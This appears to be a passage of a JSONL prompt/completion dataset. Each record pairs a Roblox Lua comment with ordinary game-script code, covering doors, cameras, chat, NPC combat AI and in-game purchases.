bLength, isCommon)\n\n\tif nCommonF ~= 0 then\n\t\tfoundSubsequence(nCommonF, 0, 0)\n\tend\n\n\t-- Unless both sequences consist of common items only,\n\t-- find common items in the half-trimmed index intervals.\n\tif aLength ~= nCommonF or bLength ~= nCommonF then\n\t\t-- Invariant: intervals do not have common items at the start.\n\t\t-- The start of an index interval is closed like array slice method.\n\t\tlocal aStart = nCommonF\n\t\tlocal bStart = nCommonF\n\n\t\t-- Count common items from the end in the reverse direction.\n\t\tlocal nCommonR = countCommonItemsR(aStart, aLength - 1, bStart, bLength - 1, isCommon)\n\n\t\t-- Invariant: intervals do not have common items at the end.\n\t\t-- The end of an index interval is open like array slice method.\n\t\tlocal aEnd = aLength - nCommonR\n\t\tlocal bEnd = bLength - nCommonR\n\n\t\t-- Unless one sequence consists of common items only,\n\t\t-- therefore the other trimmed index interval consists of changes only,\n\t\t-- find common items in the trimmed index intervals.\n\t\tlocal nCommonFR = nCommonF + nCommonR\n\t\tif aLength ~= nCommonFR and bLength ~= nCommonFR then\n\t\t\tlocal nChange = 0 -- number of change items is not yet known\n\t\t\tlocal transposed = false -- call the original unwrapped functions\n\t\t\tlocal callbacks = { { foundSubsequence, isCommon } }\n\n\t\t\t-- Indexes in sequence a of last points in furthest reaching paths\n\t\t\t-- from outside the start at top left in the forward direction:\n\t\t\tlocal aIndexesF = { NOT_YET_SET }\n\t\t\t-- from the end at bottom right in the reverse direction:\n\t\t\tlocal aIndexesR = { NOT_YET_SET }\n\n\t\t\t-- Initialize one object as output of all calls to divide function.\n\t\t\tlocal division = {\n\t\t\t\taCommonFollowing = NOT_YET_SET,\n\t\t\t\taCommonPreceding = NOT_YET_SET,\n\t\t\t\taEndPreceding = NOT_YET_SET,\n\t\t\t\taStartFollowing = NOT_YET_SET,\n\t\t\t\tbCommonFollowing = NOT_YET_SET,\n\t\t\t\tbCommonPreceding = NOT_YET_SET,\n\t\t\t\tbEndPreceding = NOT_YET_SET,\n\t\t\t\tbStartFollowing = NOT_YET_SET,\n\t\t\t\tnChangeFollowing = NOT_YET_SET,\n\t\t\t\tnChangePreceding = NOT_YET_SET,\n\t\t\t\tnCommonFollowing = NOT_YET_SET,\n\t\t\t\tnCommonPreceding = NOT_YET_SET,\n\t\t\t}\n\n\t\t\t-- Find and return common subsequences in the trimmed index intervals.\n\t\t\tfindSubsequences(nChange, aStart, aEnd, bStart, bEnd, transposed, callbacks, aIndexesF, aIndexesR, division)\n\t\tend\n\n\t\tif nCommonR ~= 0 then\n\t\t\tfoundSubsequence(nCommonR, aEnd, bEnd)\n\t\tend\n\tend\nend\n"} +{"prompt": "--valve things", "completion": "\nlocal BOVsound = car.DriveSeat.BOV\nBOVsound.Volume = 0.3 --bov volume\nBOVsound.Pitch = 1 -- pitch, i wouldn't change this lol\nBOVsound.SoundId = \"rbxassetid://337982546\" --sound, duh."} +{"prompt": "--[[if (UserInputService.TouchEnabled) then\n\tChatBar:SetTextLabelText(ChatLocalization:Get(\"GameChat_ChatMain_ChatBarText\",'Tap here to chat'))\nelse\n\tChatBar:SetTextLabelText(ChatLocalization:Get(\"GameChat_ChatMain_ChatBarTextTouch\",'To chat click here or press \"/\" key'))\nend]]", "completion": "\n\nChatBar:SetTextLabelText(ChatLocalization:Get(\"GameChat_ChatMain_ChatBarTextTouch\",'To chat click here or press \"/\" key'))\n\nspawn(function()\n\tlocal CurveUtil = require(modulesFolder:WaitForChild(\"CurveUtil\"))\n\tlocal animationFps = ChatSettings.ChatAnimationFPS or 20.0\n\n\tlocal updateWaitTime = 1.0 / animationFps\n\tlocal lastTick = tick()\n\twhile true do\n\t\tlocal currentTick = tick()\n\t\tlocal tickDelta = currentTick - lastTick\n\t\tlocal dtScale = CurveUtil:DeltaTimeToTimescale(tickDelta)\n\n\t\tif dtScale ~= 0 then\n\t\t\tChatWindow:Update(dtScale)\n\t\tend\n\n\t\tlastTick = currentTick\n\t\twait(updateWaitTime)\n\tend\nend)\n\n\n\n"} +{"prompt": "--[[\n A component that establishes a connection to a Roblox event when it is rendered.\n]]", "completion": "\nlocal Roact = require(script.Parent.Packages.Roact)\n\nlocal ExternalEventConnection = Roact.Component:extend(\"ExternalEventConnection\")\n\nfunction ExternalEventConnection:init()\n\tself.connection = nil\nend\n"} +{"prompt": "-- Allow RaycastModule to write to the output", "completion": "\nlocal SHOW_OUTPUT_MESSAGES: boolean = false\n"} +{"prompt": "--this part manages the local script", "completion": "\nlocal addMyLocalScript = function(player)\n\tlocal localScript = script[\"Chain Coupler Local\"]:Clone()\n\tlocal backpack = player:WaitForChild(\"Backpack\")\n\tif not player:WaitForChild(\"Backpack\"):FindFirstChild(\"Chain Coupler Local\") then\t\n\t\tlocalScript.Parent = player.Backpack\n\tend\nend\n\nlocal addScriptAtRespawn = function(player)\n\tplayer.CharacterAdded:connect(function() addMyLocalScript(player) end)\nend\n"} +{"prompt": "--[[\n\tPackage link auto-generated by Rotriever\n]]", "completion": "\nlocal PackageIndex = script.Parent.Parent.Parent._Index\n\nlocal Package = require(PackageIndex[\"JestSnapshot\"][\"JestSnapshot\"])\n\nreturn Package\n"} +{"prompt": "--", "completion": "\n\n\nworkspace.CurrentCamera.CameraType = Enum.CameraType.Custom\nworkspace.CurrentCamera.CameraSubject = script.Parent:WaitForChild('Humanoid')\n\nwait()\n\nscript:Destroy()\n\n"} +{"prompt": "------------------------------------------------", "completion": "\n\nlocal function IsDirectionDown(direction)\n\tfor i = 1, #KEY_MAPPINGS[direction] do\n\t\tif UIS:IsKeyDown(KEY_MAPPINGS[direction][i]) then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nlocal UpdateFreecam do\n\tlocal dt = 1/60\n\tRS.RenderStepped:Connect(function(_dt)\n\t\tdt = _dt\n\tend)\n\n\tfunction UpdateFreecam()\n\t\tlocal camCFrame = camera.CFrame\n\n\t\tlocal kx = (IsDirectionDown(DIRECTION_RIGHT) and 1 or 0) - (IsDirectionDown(DIRECTION_LEFT) and 1 or 0)\n\t\tlocal ky = (IsDirectionDown(DIRECTION_UP) and 1 or 0) - (IsDirectionDown(DIRECTION_DOWN) and 1 or 0)\n\t\tlocal kz = (IsDirectionDown(DIRECTION_BACKWARD) and 1 or 0) - (IsDirectionDown(DIRECTION_FORWARD) and 1 or 0)\n\t\tlocal km = (kx * kx) + (ky * ky) + (kz * kz)\n\t\tif km > 1e-15 then\n\t\t\tkm = ((UIS:IsKeyDown(Enum.KeyCode.LeftShift) or UIS:IsKeyDown(Enum.KeyCode.RightShift)) and 1/4 or 1)/math.sqrt(km)\n\t\t\tkx = kx * km\n\t\t\tky = ky * km\n\t\t\tkz = kz * km\n\t\tend\n\n\t\tlocal dx = kx + gp_x\n\t\tlocal dy = ky + gp_r1 - gp_l1\n\t\tlocal dz = kz + gp_z\n\n\t\tvelSpring.t = Vector3.new(dx, dy, dz) * SpeedModifier\n\t\trotSpring.t = panDeltaMouse + panDeltaGamepad\n\t\tfovSpring.t = Clamp(fovSpring.t + dt * rate_fov*FVEL_GAIN, 5, 120)\n\n\t\tlocal fov = fovSpring:Update(dt)\n\t\tlocal dPos = velSpring:Update(dt) * LVEL_GAIN\n\t\tlocal dRot = rotSpring:Update(dt) * (RVEL_GAIN * math.tan(fov * math.pi/360) * NM_ZOOM)\n\n\t\trate_fov = 0\n\t\tpanDeltaMouse = Vector2.new()\n\n\t\tstateRot = stateRot + dRot\n\t\tstateRot = Vector2.new(Clamp(stateRot.x, -3/2, 3/2), stateRot.y)\n\n\t\tlocal c = CFrame.new(camCFrame.p) * CFrame.Angles(0, stateRot.y, 0) * CFrame.Angles(stateRot.x, 0, 0) * CFrame.new(dPos)\n\n\t\tcamera.CFrame = c\n\t\tcamera.Focus = c*FOCUS_OFFSET\n\t\tcamera.FieldOfView = fov\n\tend\nend\n"} +{"prompt": "--the click", "completion": "\nscript.Parent.ClickDetector.MouseClick:connect(function(player)\n\tif ready == true then\n\t\tready = false\n\t\tlocal tool = machine.IceCream:clone()\n\t\tlocal Plate = script.Parent.Parent.Plate\n\t\tlocal handl = script.Parent.Parent.Content.Handle:clone()\n\t\t\n\t\thandl.Parent = storage\n\t\ttool.Parent = storage\n\t\thandl.Position = Vector3.new(Plate.Position.X,Plate.Position.Y +0.6,Plate.Position.Z)\n\t\tmachine.Who.Value = player.Name\n\t\tmachine.Target.Text = \"\"..player.Name..\"\"\n\t\tscript.Parent.ClickDetector.MaxActivationDistance = 0\n\t\tcoverdown()\n\t\tmenuoneappear()\n\t\t\n\t\t\tfor _,one in pairs(machine.ToppingsOne:GetChildren()) do\n\t\t\t\tif one:IsA(\"TextButton\") then\n\t\t\t\t\tone.MouseButton1Down:connect(function()\n\t\t\t\t\tlocal ice = script.Parent.Parent.Ice[one.Name]:clone()\n\t\t\t\t\tice.Parent = tool\n\t\t\t\t\tice.CFrame = CFrame.new(Vector3.new(handl.Position.X+0.025,handl.Position.Y+0.15,handl.Position.Z))\n\t\t\t\t\tmenuonedisappear()\n\t\t\t\t\tmenutwoappear()\n\t\t\t\t\t\n\t\t\t\t\tfor _,two in pairs(machine.ToppingsTwo:GetChildren()) do\n\t\t\t\t\t\tif two:IsA(\"TextButton\") then\n\t\t\t\t\t\t\ttwo.MouseButton1Down:connect(function()\n\t\t\t\t\t\t\tlocal ice = script.Parent.Parent.Ice[two.Name]:clone()\n\t\t\t\t\t\t\tice.Parent = tool\n\t\t\t\t\t\t\tice.CFrame = CFrame.new(Vector3.new(handl.Position.X+0.025,handl.Position.Y+0.35,handl.Position.Z))\n\t\t\t\t\t\t\tmenutwodisappear()\n\t\t\t\t\t\t\thandl.Parent = tool\n\t\t\t\t\t\t\ttool.Enabled = true\n\t\t\t\t\t\t\ttool.Weld.Disabled = false\n\t\t\t\t\t\t\ttool.IceScript.Disabled = false\n\t\t\t\t\t\t\ttool.Parent = game.Players[machine.Who.Value].Backpack\n\t\t\t\t\t\t\tfor _,parts in pairs(tool:GetChildren()) do\n\t\t\t\t\t\t\t\tif parts:IsA(\"Part\") then\n\t\t\t\t\t\t\t\tparts.Anchored = false\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twait()\n\t\t\t\t\t\t\tmachine.Who.Value = \"\"\n\t\t\t\t\t\t\tmachine.Target.Text = \"\"\n\t\t\t\t\t\t\tscript.Parent.ClickDetector.MaxActivationDistance = 10\n\t\t\t\t\t\t\tcoverup()\n\t\t\t\t\t\t\tscript.Fixer.Disabled = false\n\t\t\t\t\t\tend)\n\t\t\t\t\tend\n\t\t\t\tend\t\t\t\t\t\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\tend\n\t\twait(5)\n\tready = true\n\tend\nend)\n"} +{"prompt": "------Mood------", "completion": "\nlocal faces = myHead.Faces\nstatus:set(\"currentFace\",myHead.faceIdle)\n\nlocal idleIndex = 5\nfunction movementLogic()\n\tlocal target = status:get(\"currentTarget\")\n\tlocal dist = core.checkDist(target,myRoot)\n\tlocal canSee = core.checkSight(target)\n\t\n\tidleIndex -= 1\n\tif canSee then\n\t\tidleIndex = 5 --100\n\tend\n\tif ((dist > 50 or not canSee) and (myRoot.Position.Y < target.Position.Y-10 or idleIndex <= 0)) then\n\t\tmovement.pathToLocation(target)\n\telseif (dist > 30 or not canSee) and core.checkPotentialSight(target) then\n\t\tmyHuman:MoveTo(movement.slowAdvance())\n\t\twait(0.3)\n\telseif dist > 50 and dist < 90 and canSee and status:get(\"m4Equipped\") then\n\t\tmyHuman:MoveTo(movement.strafe())\n\t\twait(0.5)\n\telseif dist > 4 and dist < 50 and canSee and math.abs(myRoot.Position.Y - target.Position.Y) < 2 and status:get(\"weaponAimed\") then\n\t\tmyHuman:MoveTo(movement.retreat())\n\t\twait(0.2)\n\telseif (dist < 10 and canSee) or status:get(\"knifeEquipped\") then\n\t\tmyHuman:MoveTo(movement.retreat())\n\tend\nend\n\n\nfunction movementLoop()\n\twhile myHuman.Health>0 do\n\t\tif status:get(\"currentTarget\") then\n\t\t\tmovementLogic()\n\t\telse\n\t\t\tif mySettings.Wander.Value and math.random(4) == 3 then\n\t\t\t\tmovement.walkRandom()\n\t\t\tend\n\t\t\twait(3)\n\t\tend\n\t\twait(0.1)\n\tend\nend\n\nfunction getIncomingAttackers()\n\t\n\tlocal targets = {}\n\t\n\tlocal params = RaycastParams.new()\n\tparams.FilterDescendantsInstances = {marine}\n\tfor i = -20, 20, 2 do\n\t\tlocal origin = myRoot.Position + Vector3.new(-20,0,i)\n\t\tlocal dir = Vector3.new(40,0,0)\n\t\ttroubleshoot.createBeam(origin,dir)\n\t\tlocal result = workspace:Raycast(origin, dir)\n\t\tif result then\n\t\t\tlocal human = core.getHuman(result.Instance.Parent)\n\t\t\tlocal root = result.Instance.Parent:FindFirstChild(\"HumanoidRootPart\")\n\t\t\tif human and human.Health>0 and root and not core.isAlly(result.Instance.Parent) then\n\t\t\t\tif core.checkSight(root) then\n\t\t\t\t\ttable.insert(targets,root)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\t--Sort through targets to target the closest one to us\n\tlocal dist = math.huge\n\tlocal tempTarget = nil\n\tfor _,potentialTarget in ipairs(targets) do\n\t\tif core.checkDist(potentialTarget,myRoot) < dist then\n\t\t\tdist = core.checkDist(potentialTarget,myRoot)\n\t\t\ttempTarget = potentialTarget\n\t\tend\n\tend\n\t\n\tif tempTarget then\n\t\tstatus:set(\"currentTarget\",tempTarget)\n\tend\nend\n\nfunction searchTargetLoop()\n\twhile myHuman.Health>0 do\n\t\tgetIncomingAttackers()\n\t\tif not status:get(\"currentTarget\") or not status:get(\"currentTarget\").Parent or status:get(\"currentTarget\").Parent.Humanoid.Health <=0 or status:get(\"tookDamage\") then\n\t\t\tstatus:set(\"tookDamage\",false)\n\t\t\tstatus:set(\"currentTarget\",nil)\n\t\t\ttargeting.findTarget()\n\t\telseif not core.checkSight(status:get(\"currentTarget\")) then\n\t\t\ttargeting.findTarget()\n\t\t\tif not status:get(\"currentTarget\") then\n\t\t\t\twait(3)\n\t\t\tend\n\t\tend\n\t\twait(0.5)\n\tend\nend\n\nfunction aimingLoop()\n\twhile myHuman.Health>0 do\n\t\tif status:get(\"currentTarget\") then\n\t\t\tif core.checkSight(status:get(\"currentTarget\")) and status:get(\"m4Equipped\") then\n\t\t\t\tactions.aim(status:get(\"currentTarget\"))\n\t\t\telse\n\t\t\t\twait(0.5)\n\t\t\tend\n\t\telse\n\t\t\twait(2)\n\t\tend\n\t\twait(0.1)\n\tend\nend\n\nfunction attackLogic()\n\tactions.updateFace(\"Attacking\")\n\t\n\tlocal target = status:get(\"currentTarget\")\n\t\n\tlocal distance = core.checkDist(myRoot,target)\n\tif distance > 7 then\n\t\t\n\t\t--If there is a cluster of enemies far enough away throw grenade.\n\t\tif combat.checkCluster(target) and distance < 100 and distance > 40 and status:get(\"grenadeCool\") then\n\t\t\tcombat.shoot(target)\n\t\telseif status:get(\"m4Equipped\") then\n\t\t\tif core.facingTarget() and core.checkShot(target) then\n\t\t\t\tcombat.shoot(target)\n\t\t\tend\n\t\telse\n\t\t\tactions.drawM4()\n\t\tend\n\telse\n\tend\nend\n\nfunction attackLoop()\n\twhile myHuman.Health>0 do\n\t\t\n\t\tlocal target = status:get(\"currentTarget\")\n\t\t\n\t\tif target and target.Parent then\n\t\t\tactions.updateFace(\"Hunting\")\n\t\t\t\n\t\t\t--If we have a target we can see\n\t\t\tif core.checkSight(status:get(\"currentTarget\")) and core.checkDist(myRoot,target) < mySettings.M4.Range.Value then\n\t\t\t\tattackLogic()\n\t\t\telseif status:get(\"m4Equipped\") and not status:get(\"weaponAimed\") then\n\t\t\t\tstatus:set(\"weaponAimed\",false)\n\t\t\t\tactions.lowerM4()\n\t\t\tend\n\t\telse\n\t\t\tactions.updateFace(\"Idle\")\n\t\t\tactions.yieldWeapons()\n\t\t\twait(2)\n\t\tend\n\t\twait(0.1)\n\tend\nend\n\ncore.spawn(searchTargetLoop)\ncore.spawn(attackLoop)\ncore.spawn(movementLoop)\ncore.spawn(aimingLoop)"} +{"prompt": "---WeldConstraint anything you want to move to the TargetL_Closed and TargetR_Closed MeshParts. \n---TargetL_Closed and TargetR_Closed should be anchored but child welded objects that move with TargetL_Closed and TargetR_Closed should not be anchored.\n---You may move, rotate and scale the Targets but for a simple door only translation is used. \n---IntValue Speed controls the doors speed to open and close.\n---After you have finished creating your door turn the transparency of Trigger, TargetL_Closed, TargetL_Open, TargetR_Closed and TargetR_Open to 1 or fully transparent.", "completion": "\n\nlocal TweenService = game:GetService(\"TweenService\")\n\nlocal model = script.Parent\nlocal sound = model.Sound.Value\nlocal trigger = model.Trigger\n\nlocal left = model.TargetL_Closed\nlocal right = model.TargetR_Closed\n\nlocal tweenInfo = TweenInfo.new (\n\tmodel.Speed.Value, --Time/Speed of Door Tween\n\tEnum.EasingStyle.Quart, --Easing Style\n\tEnum.EasingDirection.InOut, --EasingDirection\n\t0, --Repeat Count\n\tfalse, --Reverse true\n\t0 --Delay\n)\n\nlocal DoorState = {\n\t[\"Closed\"] = 1,\n\t[\"Opening\"] = 2,\n\t[\"Open\"] = 3,\n\t[\"Closing\"] = 4,\n}\n\nlocal doorState = DoorState.Closed \nlocal playersNear = {}\n\nlocal tweenL = TweenService:Create(left, tweenInfo, {CFrame = model.TargetL_Open.CFrame})\nlocal tweenR = TweenService:Create(right, tweenInfo, {CFrame = model.TargetR_Open.CFrame})\n\nlocal tweenLClose = TweenService:Create(left, tweenInfo, {CFrame = model.TargetL_Closed.CFrame})\nlocal tweenRClose = TweenService:Create(right, tweenInfo, {CFrame = model.TargetR_Closed.CFrame})\n\nlocal function StartOpening()\n\tdoorState = DoorState.Opening\n\tsound:Play()\n\t\n\ttweenL:Play()\n\ttweenR:Play()\nend\n\nlocal function StartClosing()\n\tdoorState = DoorState.Closing\n\t--model[\"Door\"]:Play()\n\n\ttweenLClose:Play()\n\ttweenRClose:Play()\nend\n\nlocal function tweenOpenCompleted(playbackState)\n\tif(next(playersNear) == nil) then\n\t\tStartClosing()\n\telse\n\t\tdoorState = DoorState.Open\n\tend\nend\n\nlocal function tweenCloseCompleted(playbackState)\n\tif(next(playersNear) ~= nil) then\n\t\tStartOpening()\n\telse\n\t\tdoorState = DoorState.Closed\n\tend\nend\n\ntweenL.Completed:Connect(tweenOpenCompleted)\ntweenLClose.Completed:Connect(tweenCloseCompleted)\n\nlocal function touched(otherPart)\n\tif(otherPart.Name == \"HumanoidRootPart\" ) then\n\t\tlocal player = game.Players:FindFirstChild(otherPart.Parent.Name)\n\t\tif(player) then\n\t\t\t--print(\"touch\")\n\t\t\tplayersNear[player] = 1\n\t\t\tif(doorState == DoorState.Closed) then\n\t\t\t\tStartOpening()\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- (Hat Giver Script - Loaded.)", "completion": "\n\ndebounce = true\n\nfunction onTouched(hit)\n\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\tdebounce = false\n\t\th = Instance.new(\"Hat\")\n\t\tp = Instance.new(\"Part\")\n\t\th.Name = \"HivemindFabrege\"\n\t\tp.Parent = h\n\t\tp.Position = hit.Parent:findFirstChild(\"Head\").Position\n\t\tp.Name = \"Handle\" \n\t\tp.formFactor = 0\n\t\tp.Size = Vector3.new(2, 1, 1) \n\t\tp.BottomSurface = 0 \n\t\tp.TopSurface = 0 \n\t\tp.Locked = true \n\t\tscript.Parent.Mesh:clone().Parent = p\n\t\th.Parent = hit.Parent\n\t\th.AttachmentPos = Vector3.new(0, -1.125, 0)\n\t\twait(5)\n\t\tdebounce = true\n\tend\nend\n\nscript.Parent.Touched:connect(onTouched)\n"} +{"prompt": "-- Keyboard controller is really keyboard and mouse controller", "completion": "\nlocal computerInputTypeToModuleMap = {\n\t[Enum.UserInputType.Keyboard] = Keyboard,\n\t[Enum.UserInputType.MouseButton1] = Keyboard,\n\t[Enum.UserInputType.MouseButton2] = Keyboard,\n\t[Enum.UserInputType.MouseButton3] = Keyboard,\n\t[Enum.UserInputType.MouseWheel] = Keyboard,\n\t[Enum.UserInputType.MouseMovement] = Keyboard,\n\t[Enum.UserInputType.Gamepad1] = Gamepad,\n\t[Enum.UserInputType.Gamepad2] = Gamepad,\n\t[Enum.UserInputType.Gamepad3] = Gamepad,\n\t[Enum.UserInputType.Gamepad4] = Gamepad,\n}\n\nlocal lastInputType\n\nfunction ControlModule.new()\n\tlocal self = setmetatable({},ControlModule)\n\n\t-- The Modules above are used to construct controller instances as-needed, and this\n\t-- table is a map from Module to the instance created from it\n\tself.controllers = {}\n\n\tself.activeControlModule = nil\t-- Used to prevent unnecessarily expensive checks on each input event\n\tself.activeController = nil\n\tself.touchJumpController = nil\n\tself.moveFunction = Players.LocalPlayer.Move\n\tself.humanoid = nil\n\tself.lastInputType = Enum.UserInputType.None\n\n\t-- For Roblox self.vehicleController\n\tself.humanoidSeatedConn = nil\n\tself.vehicleController = nil\n\n\tself.touchControlFrame = nil\n\n\tself.vehicleController = VehicleController.new(CONTROL_ACTION_PRIORITY)\n\n\tPlayers.LocalPlayer.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end)\n\tPlayers.LocalPlayer.CharacterRemoving:Connect(function(char) self:OnCharacterRemoving(char) end)\n\tif Players.LocalPlayer.Character then\n\t\tself:OnCharacterAdded(Players.LocalPlayer.Character)\n\tend\n\n\tRunService:BindToRenderStep(\"ControlScriptRenderstep\", Enum.RenderPriority.Input.Value, function(dt)\n\t\tself:OnRenderStepped(dt)\n\tend)\n\n\tUserInputService.LastInputTypeChanged:Connect(function(newLastInputType)\n\t\tself:OnLastInputTypeChanged(newLastInputType)\n\tend)\n\n\n\tUserGameSettings:GetPropertyChangedSignal(\"TouchMovementMode\"):Connect(function()\n\t\tself:OnTouchMovementModeChange()\n\tend)\n\tPlayers.LocalPlayer:GetPropertyChangedSignal(\"DevTouchMovementMode\"):Connect(function()\n\t\tself:OnTouchMovementModeChange()\n\tend)\n\n\tUserGameSettings:GetPropertyChangedSignal(\"ComputerMovementMode\"):Connect(function()\n\t\tself:OnComputerMovementModeChange()\n\tend)\n\tPlayers.LocalPlayer:GetPropertyChangedSignal(\"DevComputerMovementMode\"):Connect(function()\n\t\tself:OnComputerMovementModeChange()\n\tend)\n\n\t--[[ Touch Device UI ]]--\n\tself.playerGui = nil\n\tself.touchGui = nil\n\tself.playerGuiAddedConn = nil\n\n\tif UserInputService.TouchEnabled then\n\t\tself.playerGui = Players.LocalPlayer:FindFirstChildOfClass(\"PlayerGui\")\n\t\tif self.playerGui then\n\t\t\tself:CreateTouchGuiContainer()\n\t\t\tself:OnLastInputTypeChanged(UserInputService:GetLastInputType())\n\t\telse\n\t\t\tself.playerGuiAddedConn = Players.LocalPlayer.ChildAdded:Connect(function(child)\n\t\t\t\tif child:IsA(\"PlayerGui\") then\n\t\t\t\t\tself.playerGui = child\n\t\t\t\t\tself:CreateTouchGuiContainer()\n\t\t\t\t\tself.playerGuiAddedConn:Disconnect()\n\t\t\t\t\tself.playerGuiAddedConn = nil\n\t\t\t\t\tself:OnLastInputTypeChanged(UserInputService:GetLastInputType())\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\telse\n\t\tself:OnLastInputTypeChanged(UserInputService:GetLastInputType())\n\tend\n\n\treturn self\nend\n"} +{"prompt": "--// States", "completion": "\nlocal L_60_ = false\nlocal L_61_ = false\nlocal L_62_ = false\nlocal L_63_ = false\nlocal L_64_ = false\nlocal L_65_ = true\nlocal L_66_ = false\nlocal L_67_ = false\nlocal L_68_ = false\nlocal L_69_ = false\nlocal L_70_ = false\nlocal L_71_ = false\nlocal L_72_ = false\nlocal L_73_ = false\n\nlocal L_74_ = false\nlocal L_75_ = false\nlocal L_76_ = false\n\nlocal L_77_ = false\nlocal L_78_ = true\nlocal L_79_ = true\n\nlocal L_80_ = false\n\nlocal L_81_\nlocal L_82_\n\nlocal L_83_\nlocal L_84_\nlocal L_85_\n\nlocal L_86_ = L_24_.FireMode\n\nlocal L_87_ = 0\nlocal L_88_ = false\nlocal L_89_ = true\nlocal L_90_ = false\n\nlocal L_91_ = 70\n"} +{"prompt": "-- \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\t", "completion": "\nlocal DataStore2 = require(1936396537) -- \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u043e\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044f\n\nlocal function processReceipt(ReceiptInfo)\n\tlocal player = game:GetService(\"Players\"):GetPlayerByUserId(ReceiptInfo.PlayerId) -- \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c Id \u0438\u0433\u0440\u043e\u043a\u0430\n\t\n\tif not player then -- \u0435\u0441\u043b\u0438 \u043d\u0435 \u0438\u0433\u0440\u043e\u043a, \u0442\u043e \u0432\u044b\u043b\u0435\u0442\u0430\u0435\u043c\n\t\treturn Enum.ProductPurchaseDecision.NotProcessedYet\n\tend\n\t\n\t-- \u0435\u0441\u043b\u0438 \u0438\u0433\u0440\u043e\u043a \u043d\u0430\u0439\u0434\u0435\u043d, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\n\t-- print(ReceiptInfo.PlayerId .. \" buy \" .. ReceiptInfo.ProductId)\t\n\t-- local moneyStore = DataStore2(\"money\", player)\n\t-- moneyStore:Increment(1000) -- \u0434\u0430\u0451\u043c 100 \u043c\u043e\u043d\u0435\u0442\n\tlocal char=player.Character\n\tif player:FindFirstChild(\"Buy\") == nil then -- \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439, \u0435\u0441\u043b\u0438 \u043d\u0435\u0442 - \u0441\u043e\u0437\u0434\u0430\u0451\u043c\n\t\tlocal Buy = Instance.new(\"IntValue\")\n\t\tBuy.Parent = player\n\t\tBuy.Name = \"Buy\"\n\t\tBuy.Value=3\n\telse\n\t\tplayer.Buy.Value = 3\n\tend\n\tchar.Humanoid.WalkSpeed = 30\n\t-- \u0430 \u0442\u0435\u043f\u0435\u0440\u044c \u0443\u0431\u0438\u0440\u0430\u0435\u043c Frame \u043f\u043e\u043a\u0443\u043f\u043a\u0438\n\tlocal pl = game.Players:FindFirstChild(player.Name)\n\tif pl ~= nil then\n\t\tpl.PlayerGui.Main.GameDev.Visible=false\n\t\tpl.PlayerGui.Main.Answer.Visible=true\n\tend\n\t\n\t-- \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c, \u0447\u0442\u043e \u043f\u043e\u043a\u0443\u043f\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0430\n\treturn Enum.ProductPurchaseDecision.PurchaseGranted\n\t\nend\n\nMS.ProcessReceipt= processReceipt\n"} +{"prompt": "-- Overrides Keyboard:UpdateMovement(inputState) to conditionally consider self.wasdEnabled and let OnRenderStepped handle the movement", "completion": "\nfunction ClickToMove:UpdateMovement(inputState)\n\tif inputState == Enum.UserInputState.Cancel then\n\t\tself.keyboardMoveVector = ZERO_VECTOR3\n\telseif self.wasdEnabled then\n\t\tself.keyboardMoveVector = Vector3.new(self.leftValue + self.rightValue, 0, self.forwardValue + self.backwardValue)\n\tend\nend\n"} +{"prompt": "--[[ Imports ]]", "completion": "\nlocal CameraUtils = require(script.Parent:WaitForChild(\"CameraUtils\"))\n"} +{"prompt": "--ball.SparkSound.Looped = false\n--ball.SparkSound:Stop()", "completion": "\nball.Parent = nil\n"} +{"prompt": "--Notes--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.Notes:clone()\n\t\tprtc.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "---WeldConstraint anything you want to move to the TargetL_Closed and TargetR_Closed MeshParts. \n---TargetL_Closed and TargetR_Closed should be anchored but child welded objects that move with TargetL_Closed and TargetR_Closed should not be anchored.\n---You may move, rotate and scale the Targets but for a simple door only translation is used. \n---IntValue Speed controls the doors speed to open and close.\n---After you have finished creating your door turn the transparency of Trigger, TargetL_Closed, TargetL_Open, TargetR_Closed and TargetR_Open to 1 or fully transparent.", "completion": "\n\nlocal TweenService = game:GetService(\"TweenService\")\n\nlocal model = script.Parent\n\nlocal trigger = model.Trigger\n\nlocal left = model.TargetL_Closed\nlocal right = model.TargetR_Closed\n\nlocal tweenInfo = TweenInfo.new (\n\tmodel.Speed.Value, --Time/Speed of Door Tween\n\tEnum.EasingStyle.Quart, --Easing Style\n\tEnum.EasingDirection.Out, --EasingDirection\n\t0, --Repeat Count\n\tfalse, --Reverse true\n\t0 --Delay\n)\n\nlocal DoorState = {\n\t[\"Closed\"] = 1,\n\t[\"Opening\"] = 2,\n\t[\"Open\"] = 3,\n\t[\"Closing\"] = 4,\n}\n\nlocal doorState = DoorState.Closed \nlocal playersNear = {}\n\nlocal tweenL = TweenService:Create(left, tweenInfo, {CFrame = model.TargetL_Open.CFrame})\nlocal tweenR = TweenService:Create(right, tweenInfo, 